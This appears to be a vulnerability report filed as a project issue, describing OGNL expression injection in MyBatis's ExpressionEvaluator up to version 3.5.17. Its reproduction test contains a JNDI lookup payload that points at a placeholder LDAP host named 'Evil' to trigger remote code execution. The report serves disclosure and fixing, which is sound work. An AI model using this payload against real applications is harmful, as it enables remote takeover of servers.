Open
Description
Problem Statement
In the MyBatis framework, the ExpressionEvaluator module uses OGNL to evaluate the values of expressions and handle the returned results. However, this functionality may be exploited by attackers to inject carefully crafted malicious expressions, enabling attacks such as remote code execution.
A vulnerable code example.
package org.apache.ibatis.scripting.xmltags;
public class ExpressionEvaluator {
public boolean evaluateBoolean(String expression, Object parameterObject) {
Object value = OgnlCache.getValue(expression, parameterObject);
if (value instanceof Boolean) {
return (Boolean) value;
}
if (value instanceof Number) {
return new BigDecimal(String.valueOf(value)).compareTo(BigDecimal.ZERO) != 0;
}
return value != null;
}
}
MyBatis version
<= 3.5.17
Steps to reproduce
Considering the security implications, I just provide the following test case as an example to reproduce the attack.
class ExpressionEvaluatorTest {
private final ExpressionEvaluator evaluator = new ExpressionEvaluator();
@Test
void shouldReturnFalseIfZero() {
String query = "@javax.naming.InitialContext@doLookup('ldap://127.0.0.1:8087/Evil')";
boolean value = evaluator.evaluateBoolean(query,
new Author(0, "cbegin", null, "cbegin@apache.org", "N/A", Section.NEWS));
assertFalse(value);
}
}
Vulnerability Impact
Remote Command Execution (RCE), such as the invocation of the calculator application.